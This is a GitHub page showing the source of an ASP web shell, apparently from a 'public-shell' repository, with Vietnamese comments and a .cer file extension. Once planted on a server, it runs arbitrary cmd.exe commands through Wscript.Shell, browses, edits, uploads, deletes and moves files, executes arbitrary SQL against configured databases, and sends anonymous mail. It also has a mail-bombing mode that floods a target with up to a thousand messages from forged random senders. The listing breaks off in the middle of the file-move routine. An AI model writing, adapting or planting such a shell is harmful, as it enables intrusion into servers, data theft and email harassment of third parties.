forked from BDLeet/public-shell
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathElmaliSeker.cer
2324 lines (2069 loc) · 62.1 KB
/
ElmaliSeker.cer
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<%
' Tac gia: forever5pi (theo huong dan cua anh vicki-vkdt)
' Email : [email protected]
' Website: http://vnhacker.org
option explicit
Server.ScriptTimeout=10000
Response.Buffer=false
dim gURL,gMsg
dim targetPath,cp_dst,mv_dst,root
dim FSO,re
dim zombie_array,special_array
' ###################################### CONFIGURATION ######################################
const gPassword="" ' mat khau ("" : khong dung password)
const gMax=50 ' chieu dai toi da cho ten file
const gBomb=1000 ' so luong mail mac dinh can bomb
const lnkExt="lnk,url"
const editExt="htm,html,asp,asa,txt,inc,css,aspx,js,vbs,shtm,shtml,xml,xsl,log,ini,bat,bak" ' danh sach cac file cho phep edit
const TmpDir="C:\" ' thu muc tam thoi mac dinh
const Shell="cmd.exe" ' shell mac dinh
' cac chuoi ket noi mac dinh
const cstrMSSQL = "Provider=SQLOLEDB;Data Source=SERVER_NAME;database=DB_NAME;uid=UID;pwd=PWD"
const cstrJET = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=full_path/db_file.mdb"
const cstrACCESS = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=full_path/db_file.mdb"
const cstrORACLE = "Provider=OraOLEDB.Oracle.1; Data Source=DB_NAME; User ID=UID; Password=PWD"
const cstrMYSQL = "Driver=MySQL;server=SERVER_IP;uid=UID;pwd=PWD;database=DB_NAME"
const cstrDSN = "DSN_NAME"
const bSize=false' co/khong hien folder-size
const charset="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-" ' tap ki thu dung de sinh chuoi ngau nhien
zombie_array=array("com","net","org","info","vn","cn") ' mang cac domain z0mbie
special_array=array("yahoo.com","hotmail.com") ' mang cac domain dac biet (dung trong bomb mail)
root=Server.MapPath(".") ' folder mac dinh
' ###########################################################################################
gURL=Request.ServerVariables("SCRIPT_NAME")
Init()
if (LCase(Left(Request.ServerVariables("HTTP_CONTENT_TYPE"),19))="multipart/form-data") and (Session("allow")=1) and (Session("mode")=0) then Upload()
Secure()
if Request.Form("command")="Logout" then Logout()
if Request.Form("command")="ChangeMode" then
Session("mode")=Request.Form("mode")
Session("switch")=true
end if
select case Session("mode")
case 0 myFile()
case 1 myCMD()
case 2 mySQL()
case 3 myMail()
end select
'###########################################################################################
sub myFile()
if Session("switch")=true then
targetPath=Session("targetPath")
if targetPath="" then targetPath=root
Session("switch")=false
else
targetPath=Trim(Request.Form("folder"))
if targetPath="" then targetPath=root else targetPath=abspath(targetPath)
select case Request.Form("command")
case "Download"
Download()
exit sub
case "Edit"
Editor()
exit sub
case "ChangeAttributesFile","ChangeAttributesFolder"
ChangeAttributesItem()
exit sub
case "Tree"
Tree()
exit sub
case "Delete" Delete()
case "Move" Move()
case "Copy" Copy()
case "ZipInfo" ZipInfo()
case "NewFile","NewFolder" CreateItem()
case "RenameFile","RenameFolder" RenameItem()
case "OpenFolder" OpenFolder()
case "LevelUp" targetPath=FSO.GetParentFolderName(abspath(Request.Form("folder")))
case "LevelRoot" targetPath=findroot(abspath(Request.Form("folder")))
end select
Session("targetPath")=targetPath
end if
HtmlHeader("")
HtmlMode()
List()
HtmlFooter()
Destroy()
end sub
'###########################################################################################
sub myCMD()
dim bDoIt
dim bEcho
dim szTmpDir,szShell,szCmd,szTmpFile
dim oScript,oScriptNet,oFile
HtmlHeader("")
HtmlMode()
set oScript=Server.CreateObject("Wscript.Shell")
set oScriptNet=Server.CreateObject("Wscript.Network")
szTmpDir=Trim(Request.Form("tmpdir"))
szShell=Trim(Request.Form("shell"))
szCmd=Trim(Request.Form("cmd"))
bEcho=CBool(Request.Form("echo"))
if Session("switch")=true then
Session("switch")=false
bDoit=false
szTmpDir=Session("szTmpDir")
szShell=Session("szShell")
szCmd=Session("szCmd")
bEcho=Session("bEcho")
else
bDoIt=true
end if
if szTmpDir="" then szTmpDir=TmpDir else szTmpDir=abspath(szTmpDir)
if szShell="" then szShell=Shell
Session("szTmpDir")=szTmpDir
Session("szShell")=szShell
Session("szCmd")=szCmd
Session("bEcho")=bEcho
%>
<form name=frmCMD method=post action="<%=gURL%>">
<table>
<tr><td><b>T</b>mpDir:</td><td><input type=text name=tmpdir value="<%=Server.HtmlEncode(szTmpDir)%>" size=20></td></tr>
<tr><td><b>S</b>hell:</td><td><input type=text name=shell value="<%=Server.HtmlEncode(szShell)%>" size=20></td></tr>
<tr><td><b>C</b>md:</td><td><input type=text name=cmd value="<%=Server.HtmlEncode(szCmd)%>" size=80> <input type=submit value=Go></td></tr>
<tr><td><b>E</b>cho:</td><td><input type=checkbox name=echo value=1<%if bEcho then Response.Write " checked"%>></td></tr>
</table>
</form>
<script>frmCMD.cmd.focus()</script>
<%
if (szCmd<>"") and (bDoIt=true) then
if bEcho then
call oScript.Run(szShell & " /c " & szCmd)
else
szTmpFile = addslash(szTmpDir) & FSO.GetTempName
call oScript.Run(szShell & " /c " & szCmd & " > " & szTmpFile, 0, true)
if FSO.FileExists(szTmpFile) then set oFile=FSO.OpenTextFile (szTmpFile, 1, false, 0)
end if
end if
%>
<p><%=FormatDate(Now)%>
<p><b>I</b>P: <%=Request.ServerVariables("LOCAL_ADDR")%><br>
<b>U</b>ser: \\<%=oScriptNet.ComputerName%>\\<%=oScriptNet.UserName%>
<%
if (IsObject(oFile)) then
on error resume next
%>
<pre>
<%=Server.HtmlEncode(oFile.ReadAll)%>
</pre>
<%
oFile.Close
call FSO.DeleteFile(szTmpFile, true)
end if
set oScript=nothing
set oScriptNet=nothing
HtmlFooter()
Destroy()
end sub
'###########################################################################################
sub mySQL()
dim szConn,szSQL1,szSQL2,szSQL,bDoIt
dim intChoice
HtmlHeader("")
HtmlMode()
szConn=Trim(Request.Form("conn"))
szSQL1=Trim(Request.Form("sql1"))
szSQL2=Trim(Request.Form("sql2"))
intChoice=CInt(Request.Form("choice"))
if Session("switch")=true then
Session("switch")=false
bDoIt=false
szConn=Session("szConn")
szSQL1=Session("szSQL1")
szSQL2=Session("szSQL2")
intChoice=Session("intChoice")
else
bDoIt=true
end if
if intChoice=0 then intChoice=1
if intChoice=1 then szSQL=szSQL1 else szSQL=szSQL2
Session("szConn")=szConn
Session("szSQL1")=szSQL1
Session("szSQL2")=szSQL2
Session("intChoice")=intChoice
select case trim(ucase(szConn))
case "MSSQL"
szConn=cstrMSSQL
szSQL=""
case "JET"
szConn=cstrJET
szSQL=""
case "ACCESS"
szConn=cstrACCESS
szSQL=""
case "ORACLE"
szConn=cstrORACLE
szSQL=""
case "MYSQL"
szConn=cstrMYSQL
szSQL=""
case "DSN"
szConn=cstrDSN
szSQL=""
end select
%>
<input type=button value="<->" onclick="changeInput()">
<form name=frmSQL method=post action="<%=gURL%>">
<input type=hidden name=choice value="<%=intChoice%>">
<b>C</b>onn: <input type=text name=conn value="<%=Server.HtmlEncode(szConn)%>" size=90> <br>
<b>S</b>QL: <span id=s1<%if intChoice=2 then Response.Write " style=""display:none"""%>><input type=text name=sql1 value="<%=Server.HtmlEncode(szSQL1)%>" size=90></span>
<span id=s2<%if intChoice=1 then Response.Write " style=""display:none"""%>>( [F9] = Go )<br><textarea name=sql2 cols=42 rows=12 onkeydown="if (event.keyCode==120) frmSQL.submit();"><%=Server.HtmlEncode(szSQL2)%></textarea><br></span>
<input type=submit value=Go>
</table>
</form>
<script>
frmSQL.<%if szConn="" then Response.Write "conn" else Response.Write "sql"&intChoice%>.focus();
frmSQL.<%if szConn="" then Response.Write "conn" else Response.Write "sql"&intChoice%>.focus();
function changeInput() {
if (s1.style.display=='none') {
s1.style.display='inline';
s2.style.display='none';
frmSQL.choice.value="1";
frmSQL.sql1.focus();
} else {
s1.style.display='none';
s2.style.display='inline';
frmSQL.choice.value="2";
frmSQL.sql2.focus();
}
}
</script>
<%
if (szConn<>"") and (szSQL<>"") and (bDoIt=true) then
dim adoCon, rS
dim i,intAffected
set adoCon=Server.CreateObject("ADODB.Connection")
adoCon.Open szConn
set rS=adoCon.Execute(szSQL, intAffected)
if (rS.Fields.Count>0) then
' hien thi ten cua cac truong
Response.Write "<table border=1>" & vbNewLine & "<tr>"
for i=0 to rS.Fields.Count-1
Response.Write "<td><tt><b>"
if (rS.Fields(i).Name="") then
Response.Write "(No column name)"
else
Response.Write Server.HtmlEncode(rS.Fields(i).Name)
end if
Response.Write "</b></tt></td>"
next
Response.Write "</tr>" & vbNewLine
' hien thi du lieu tren cac dong
on error resume next
rS.MoveFirst
do while not rS.EOF
Response.Write "<tr>"
for i=0 to rS.Fields.Count-1
Response.Write "<td><tt>"
if IsNull(rs.Fields(i).Value) then
Response.Write "NULL"
elseif (Trim(rs.Fields(i).Value)="") then
Response.Write " "
else
Response.Write Server.HtmlEncode(rS.Fields(i).Value)
end if
Response.Write "</tt></td>"
next
Response.Write "</tr>" & vbNewLine
rS.MoveNext
loop
rS.Close
Response.Write "</table>" & vbNewLine
end if
Response.Write "<p><tt>(" & intAffected & " row(s) affected)</tt>"
set rS=nothing
set adoCon=nothing
end if
HtmlFooter()
Destroy()
end sub
'###########################################################################################
sub myMail()
dim strFrom,strTo,strSubject,strBody,bHtml,intNumber,i,StartTime,EndTime,bDoIt
dim objMail,objMsg
strTo=Trim(Request.Form("to"))
select case Request.Form("subcommand")
case "Send"
strFrom=Trim(Request.Form("from"))
strSubject=Trim(Request.Form("subject"))
strBody=Request.Form("body")
bHtml=CBool(Request.Form("html"))
case "Bomb"
if IsNumeric(Request.Form("number")) then intNumber=Int(Request.Form("number"))
strFrom=Session("strFrom")
strSubject=Session("strSubject")
strBody=Session("strBody")
bHtml=Session("bHtml")
end select
if Session("switch")=true then
Session("switch")=false
bDoIt=false
strFrom=Session("strFrom")
strTo=Session("strTo")
strSubject=Session("strSubject")
strBody=Session("strBody")
bHtml=Session("bHtml")
intNumber=Session("intNumber")
else
bDoIt=true
end if
if (intNumber<=0) then intNumber=gBomb
Session("strFrom")=strFrom
Session("strTo")=strTo
Session("strSubject")=strSubject
Session("strBody")=strBody
Session("bHtml")=bHtml
Session("intNumber")=intNumber
HtmlHeader("")
HtmlMode()
if bDoIt then
select case Request.Form("subcommand")
case "Send"
if IsValidEmail(strTo) then
set objMail=Server.CreateObject("CDONTS.NewMail")
objMail.To=strTo
objMail.From=strFrom
objMail.Subject=strSubject
objMail.Body=strBody
if bHtml then
objMail.BodyFormat=0 'HTML
objMail.MailFormat=0 'MIME
end if
objMail.Send
set objMail=nothing
Response.Write "<b>M</b>essage was sent to " & strTo & " successfully." & vbNewLine
end if
case "Bomb"
if IsValidEmail(strTo) then
Response.Write "<b>B</b>ombing " & Replace(FormatNumber(intNumber,0),",",".") & " mail"
if intNumber>1 then Response.Write "s"
Response.Write " to " & strTo & " ... "
StartTime=Timer
set objMsg=Server.CreateObject("CDO.Message")
objMsg.To=strTo
Randomize
for i=1 to intNumber
objMsg.From=makeEmail()
objMsg.Subject=makeText(Int((50-25+1)*Rnd+25))
objMsg.TextBody=makeText(Int((100-50+1)*Rnd+50))
objMsg.Send
next
set objMsg=nothing
EndTime=Timer
Response.Write howlong(EndTime-StartTime) & vbNewLine
end if
end select
end if
%>
<p>
<table border=1>
<tr>
<td width=50%>
<form name=frmSend method=post action="<%=gURL%>">
<table>
<tr>
<td colspan=2>a) <b>A</b>nonymous Mail</td>
</tr>
<tr>
<td><b>F</b>rom:</td>
<td><input type=text name=from value="<%=Server.HtmlEncode(strFrom)%>" size=25></td>
</tr>
<tr>
<td><b>T</b>o:</td>
<td><input type=text name=to value="<%=Server.HtmlEncode(strTo)%>" size=25></td>
</tr>
<tr>
<td><b>S</b>ubject:</td>
<td><input type=text name=subject value="<%=Server.HtmlEncode(strSubject)%>" size=50></td>
</tr>
<tr>
<td valign=top><b>B</b>ody:</td>
<td><textarea name=body cols=37 rows=12><%=Server.HtmlEncode(strBody)%></textarea></td>
</tr>
<tr>
<td><b>H</b>tml:</td>
<td><input type=checkbox name=html value=1<%if bHtml=true then Response.Write " checked"%>></td>
</tr>
<tr>
<td colspan=2><input type=submit name=subcommand value=Send></td>
</tr>
</table>
</form>
</td>
<td width=50% valign=top>
<form name=frmBomb method=post action="<%=gURL%>">
<table>
<tr>
<td colspan=2>b) <b>B</b>omb Mail</td>
</tr>
<tr>
<td><b>A</b>ddress:</td>
<td><input type=text name=to value="<%=Server.HtmlEncode(strTo)%>" size=25></td>
</tr>
<tr>
<td><b>N</b>umber:</td>
<td><input type=text name=number value=<%=intNumber%>></td>
</tr>
<tr>
<td colspan=2><input type=submit name=subcommand value=Bomb></td>
</tr>
</table>
</form>
</td>
</tr>
</table>
<%
HtmlFooter()
Destroy()
end sub
'###########################################################################################
function IsValidEmail(strEAddress)
dim objRegExpr
set objRegExpr = New RegExp
objRegExpr.Pattern = "^[a-zA-Z0-9][\w\.-]*[a-zA-Z0-9]@[\w-\.]*[a-zA-Z0-9]\.[a-zA-Z]{2,7}$"
objRegExpr.Global = true
objRegExpr.IgnoreCase = False
IsValidEmail = objRegExpr.Test(strEAddress)
set objRegExpr = nothing
end function
'###########################################################################################
function makeEmail()
Randomize
if Int((1-0+1)*Rnd+0)=0 then makeEmail=makeText(8) & "@" & makeText(8) & "." & zombie_array(Int((UBound(zombie_array)-0+1)*Rnd+0)) else makeEmail=makeText(8) & "@" & special_array(Int((UBound(special_array)-0+1)*Rnd+0))
end function
'###########################################################################################
function makeText(intLen)
dim strNewText,i
strNewText=""
Randomize
for i=1 to intLen
strNewText=strNewText & Mid(charset,Int((Len(charset)-1+1)*Rnd+1),1)
next
makeText=strNewText
end function
'###########################################################################################
function howlong(intTime)
if (intTime<60) then
howlong=intTime & " second(s)"
elseif (intTime<60*60) then
howlong=FormatNumber(intTime/60,2) & " minute(s)"
else
howlong=FormatNumber(intTime/(60*60),2) & " hour(s)"
end if
end function
'###########################################################################################
sub Tree()
dim path
path=abspath(Request.Form("param"))
if FSO.FolderExists(path) then
%>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title><%=path%></title>
<style>
body,td{font-family:Fixedsys}
a{color:#0000ff}
</style>
</head>
<body bgcolor=#000000 text=#ffffff>
<%
tree_dir(path)
%>
</body>
</html>
<%
else
%>
<script>alert('Folder not found !');window.close();</script>
<%
end if
Destroy()
end sub
sub tree_dir(path)
dim strAttrib,strSize
on error resume next
dim oFolder
dim oSubFolders,oSubFolder
dim oFiles,oFile
dim oSubFolders2,oSubFolder2
dim oFiles2,oFile2
set oFolder=FSO.GetFolder(path)
set oSubFolders=oFolder.SubFolders
set oFiles=oFolder.Files
Response.Write "<p>" & FSO.GetAbsolutePathName(path)
strAttrib=GetAttributes(oFolder.Attributes)
if strAttrib<>" " then Response.Write " (" & GetAttributes(oFolder.Attributes) & ")"
Response.Write vbNewLine
if (oSubFolders.Count>0) or (oFiles.Count>0) then
%>
<table border=0 cellspacing=1 cellpadding=2 bgcolor=#ff0000>
<tr bgcolor=#000000>
<td><font color=#FFFF00>Name</font></td>
<td align=center><font color=#FFFF00>Size</font></td>
<td align=center><font color=#FFFF00>Type</font></td>
<td align=center><font color=#FFFF00>Modified</font></td>
<td align=center><font color=#FFFF00>Attributes</font></td>
</tr>
<%
' liet ke thu muc
for each oSubFolder in oSubFolders
%>
<tr bgcolor=#000000>
<td><%=oSubFolder.Name%></td>
<td align=right> </td>
<td align=center>DIR</td>
<td align=center><%=FormatDate(oSubFolder.DateLastModified)%></td>
<td><%=GetAttributes(oSubFolder.Attributes)%></td>
</tr>
<%
next
' liet ke file
for each oFile in oFiles
%>
<tr bgcolor=#000000>
<td<%if (FSO.GetExtensionName(path & "\" & oFile.Name)="lnk") or (FSO.GetExtensionName(path & "\" & oFile.Name)="url") then Response.Write " title=""" & FindLink(path & "\" & oFile.Name) & """"%>><%=oFile.Name%></td>
<td align=right><%=FormatSize(oFile.Size)%></td>
<td align=center><%=oFile.Type%></td>
<td align=center><%=FormatDate(oFile.DateLastModified)%></td>
<td><%=GetAttributes(oFile.Attributes)%></td>
</tr>
<%
next
strSize=FormatSize(oFolder.Size)
%>
<tr bgcolor=#000000>
<td colspan=5 align=center><%=oSubFolders.Count%> folder(s), <%=oFiles.Count%> file(s)<%if strSize<>"" then Response.Write " (" & strSize & ")"%></td>
</tr>
</table>
<%
' goi de qui
for each oSubFolder in oSubFolders
set oSubFolder2=oSubFolder.SubFolders
set oFile2=oSubFolder.Files
if (oSubFolder2.Count>0) or (oFile2.Count>0) then
tree_dir(oSubFolder.ParentFolder & "\" & oSubFolder.Name)
end if
set oSubFolder2=nothing
set oFile2=nothing
next
end if
set oSubFolder=nothing
set oFiles=nothing
set oFolder=nothing
end sub
'###########################################################################################
sub Editor()
dim f,name,path
on error resume next
HtmlHeader("")
name=Request.Form("param")
path=addslash(targetPath) & name
select case Request.Form("subcommand")
case "Save","SaveAs"
set f=FSO.OpenTextFile(path,2,true,-2)
if Err.Number<>0 then
gMsg="Can not write to the file """ & name & """, permission denied!"
Err.Clear
else
f.Write Request.Form("content")
end if
set f=nothing
set f=FSO.OpenTextFile(path,1,false,-2)
case else
if not FSO.FileExists(path) then
gMsg="The file """ & name & """ does not exist"
set f=FSO.CreateTextFile(path,false)
if Err.Number<>0 then
gMsg=gMsg & ", also unable to create new file."
Err.Clear
else
gMsg=gMsg & ", created new file."
end if
else
set f=FSO.OpenTextFile(path,1,false,-2)
if Err.Number<>0 then
gMsg="Can not read from the file """ & name & """, permission denied!"
Err.Clear
end if
end if
end select
%>
<% if gMsg<>"" then Response.Write "<script>alert('" & gMsg & "')</script>" & vbNewLine %>
<p><b>E</b>diting - "<%=path%>"<br>
<form name=frmFile method=post action="<%=gURL%>">
<b>W</b>rap<input type=checkbox id=wrap onclick="EditorCommand('WordWrap')">
<center>
<table width=100%>
<tr><td align=center>
<textarea name=content rows=25 cols=46 style="width:580;height:330" wrap=off><%=Server.HTMLEncode(f.ReadAll)%></textarea>
</td></tr>
<tr><td align=center>
<input type=button value=Save onclick="EditorCommand('Save')"> <input type=button value="Save As" onclick="EditorCommand('SaveAs')"> <input type=button value=Reload onclick="EditorCommand('Reload')"> <input type=button value=Close onclick="window.close()">
</td></tr>
</table>
</center>
<script>frmFile.content.focus()</script>
<input type=hidden name=command value=Edit>
<input type=hidden name=subcommand value="">
<input type=hidden name=param value="<%=name%>">
<input type=hidden name=folder value="<%=Request.Form("folder")%>">
</form>
<%
set f=nothing
HtmlJsEditor()
HtmlFooter()
Destroy()
end sub
'###########################################################################################
sub ChangeAttributesItem()
dim item,itemType,itemName,itemPath,itemAttrib
itemType=Request.Form("command")
itemName=Request.Form("param")
itemPath=addslash(targetPath) & itemName
HtmlHeader("")
select case itemType
case "ChangeAttributesFile" set item=FSO.GetFile(itemPath)
case "ChangeAttributesFolder" set item=FSO.GetFolder(itemPath)
end select
if Request.Form("subcommand")="change" then
itemAttrib=int(Request.Form("r"))
itemAttrib=itemAttrib+int(Request.Form("h"))
itemAttrib=itemAttrib+int(Request.Form("a"))
itemAttrib=itemAttrib+int(Request.Form("s"))
on error resume next
item.Attributes=int(itemAttrib)
if Err.Number<>0 then Response.Write "<script>alert('Permission denined')</script>" & vbNewLine
end if
itemAttrib=item.Attributes
%>
<b>C</b>hange attributes - "<%=itemName%>"
<p align=center>
<form name=frmAttrib method=post action="<%=gURL%>">
<input type=hidden name=command value="<%=itemType%>">
<input type=hidden name=subcommand value=change>
<input type=hidden name=folder value="<%=targetPath%>">
<input type=hidden name=param value="<%=itemName%>">
<table>
<tr>
<td><input type=checkbox name=r value=1 <%if (itemAttrib and 1)>0 then Response.Write " checked"%>>Read-only</td>
<td><input type=checkbox name=h value=2 <%if (itemAttrib and 2)>0 then Response.Write " checked"%>>Hidden</td>
</tr>
<tr>
<td><input type=checkbox name=a value=32 <%if (itemAttrib and 32)>0 then Response.Write " checked"%>>Archive</td>
<td><input type=checkbox name=s value=4 <%if (itemAttrib and 4)>0 then Response.Write " checked"%>>System</td>
</tr>
</table><br>
<input type=button value=OK onclick="frmAttrib.submit()"> <input type=button value=Close onclick="window.close()">
</form>
</p>
<%
set itemType=nothing
HtmlFooter()
Destroy()
end sub
'###########################################################################################
sub OpenFolder()
if Trim(Request.Form("folder"))="" then
if Trim(Request.Form("param"))="" then targetPath=root else targetPath=abspath(Trim(Request.Form("param")))
else
targetPath=addslash(Trim(Request.Form("folder"))) & Trim(Request.Form("param"))
end if
end sub
'###########################################################################################
sub CreateItem()
dim itemType,itemName,itemPath
itemType=request.form("command")
itemName=request.form("param")
itemPath=addslash(targetPath) & itemName
on error resume next
select case itemType
case "NewFolder"
if (FSO.FolderExists(itemPath)=false) and (FSO.FileExists(itemPath)=false) then
FSO.CreateFolder(itemPath)
if Err.Number<>0 then
gMsg="Unable to create the folder """ & itemName & """, an error occured..."
else
gMsg="Created the folder """ & itemName & """..."
end if
else
gMsg="Unable to create the folder """ & itemName & """, there exists a file or a folder with the same name..."
end if
case "NewFile"
if (FSO.FolderExists(itemPath)=false) and (FSO.FileExists(itemPath)=false) then
FSO.CreateTextFile(itemPath)
if Err.Number<>0 then
gMsg="Unable to create the file """ & itemName & """, an error occured..."
else
gMsg="Created the file """ & itemName & """..."
end if
else
gMsg="Unable to create the file """ & itemName & """, there exists a file or a folder with the same name..."
end if
end select
end sub
'###########################################################################################
sub ZipInfo()
dim path,zip,zipfile,i
path=addslash(targetPath) & Request.Form("param")
%>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title><%=path%></title>
<style>
body,td{font-family:Fixedsys}
a{color:#0000ff}
</style>
</head>
<body bgcolor=#000000 text=#ffffff>
<p><%=path%>
<table border=0 cellspacing=1 cellpadding=2 bgcolor=#ff0000>
<tr bgcolor=#000000>
<td><font color=#FFFF00>Name</font></td>
<td align=center><font color=#FFFF00>Size</font></td>
<td align=center><font color=#FFFF00>Ratio</font></td>
<td align=center><font color=#FFFF00>Packed</font></td>
<td align=center><font color=#FFFF00>Modify</font></td>
<td align=center><font color=#FFFF00>Path</font></td>
</tr>
<%
set zip=new clszip
zip.ZipLoad(path)
set zipfile=new clsZipFile
for i=1 to zip.FileCount
set zipfile=zip.GetFile(i)
with zipfile
if not (.IsFolder Or .IsOverall) then
Response.Write "<tr bgcolor=#000000>" & vbNewLine
Response.Write " <td>" & .Name & "</td>" & vbNewLine
Response.Write " <td align=right>" & FormatNumber(.Size,0) & "</td>" & vbNewLine
Response.Write " <td align=right>" & .Ratio & "</td>" & vbNewLine
Response.Write " <td align=right>" & FormatNumber(.Packed,0) & "</td>" & vbNewLine
Response.Write " <td align=center>" & FormatDate(.Modified) & "</td>" & vbNewLine
Response.Write " <td>" & .Path & "</td>" & vbNewLine
end if
end with
next
set ZipFile=nothing
set zip=nothing
%>
</table>
</p>
<%
HtmlFooter()
Destroy()
end sub
'###########################################################################################
sub Delete()
dim i,ndir,nfile,itemName,itemPath
on error resume next
ndir=Request.Form("d").Count
nfile=Request.Form("f").Count
if (ndir>0) then
gMsg="<b>D</b>elete folder(s)..."
for i=1 to ndir
itemName=Request.Form("d")(i)
itemPath=addslash(targetPath) & itemName
FSO.DeleteFolder itemPath,true
gMsg=gMsg & "<br>" & vbNewLine & "- " & itemName & ": "
if Err.Number<>0 then
gMsg=gMsg & "error"
else
gMsg=gMsg & "success"
end if
next
end if
if (nfile>0) then
if (ndir>0) then gMsg= gMsg & "<p>" & vbNewLine
gMsg=gMsg & "<b>D</b>elete file(s)..."
for i=1 to nfile
itemName=Request.Form("f")(i)
itemPath=addslash(targetPath) & itemName
FSO.DeleteFile itemPath,true
gMsg=gMsg & "<br>" & vbNewLine & "- " & itemName & ": "
if Err.Number<>0 then
gMsg=gMsg & "error"
else
gMsg=gMsg & "success"
end if
next
end if
end sub
'###########################################################################################
sub Copy()
dim i,nfile,ndir,itemName,itemPath
on error resume next
cp_dst=Trim(Request.Form("cp"))
if cp_dst="" then exit sub
cp_dst=abspath(cp_dst)
Session("cp_dst")=cp_dst
if FSO.FolderExists(cp_dst)=false then
gMsg="<p>Folder not exists" & vbNewLine
exit sub
end if
ndir=Request.Form("d").Count
nfile=Request.Form("f").Count
if (ndir>0) then
gMsg="<b>C</b>opying folder(s) to """ & cp_dst & """ ..."
for i=1 to ndir
itemName=Request.Form("d")(i)
itemPath=addslash(targetPath) & itemName
FSO.CopyFolder itemPath,addslash(cp_dst),true
gMsg=gMsg & "<br>" & vbNewLine & "- " & itemName & ": "
if Err.Number<>0 then
gMsg=gMsg & "error"
else
gMsg=gMsg & "success"
end if
next
end if
if (nfile>0) then
if (ndir>0) then gMsg= gMsg & "<p>" & vbNewLine
gMsg=gMsg & "<b>C</b>opying file(s) to """ & cp_dst & """ ..."
for i=1 to nfile
itemName=Request.Form("f")(i)
itemPath=addslash(targetPath) & itemName
FSO.CopyFile itemPath,addslash(cp_dst),true
gMsg=gMsg & "<br>" & vbNewLine & "- " & itemName & ": "
if Err.Number<>0 then gMsg=gMsg & "error" else gMsg=gMsg & "success"
next
end if
end sub
'###########################################################################################
sub Move()
dim i,nfile,ndir,itemName,itemPath
on error resume next
mv_dst=Trim(Request.Form("mv"))
if mv_dst="" then exit sub
mv_dst=abspath(mv_dst)
Session("mv_dst")=mv_dst
if FSO.FolderExists(mv_dst)=false then
gMsg="<p>Folder not exists" & vbNewLine
exit sub
end if
ndir=Request.Form("d").Count
nfile=Request.Form("f").Count
if (ndir>0) then
gMsg="<b>M</b>oving folder(s) to """ & mv_dst & """ ..."
for i=1 to ndir
itemName=Request.Form("d")(i)
itemPath=addslash(targetPath) & itemName
gMsg=gMsg & "<br>" & vbNewLine & "- " & itemName & ": "
FSO.MoveFolder itemPath,addslash(mv_dst)
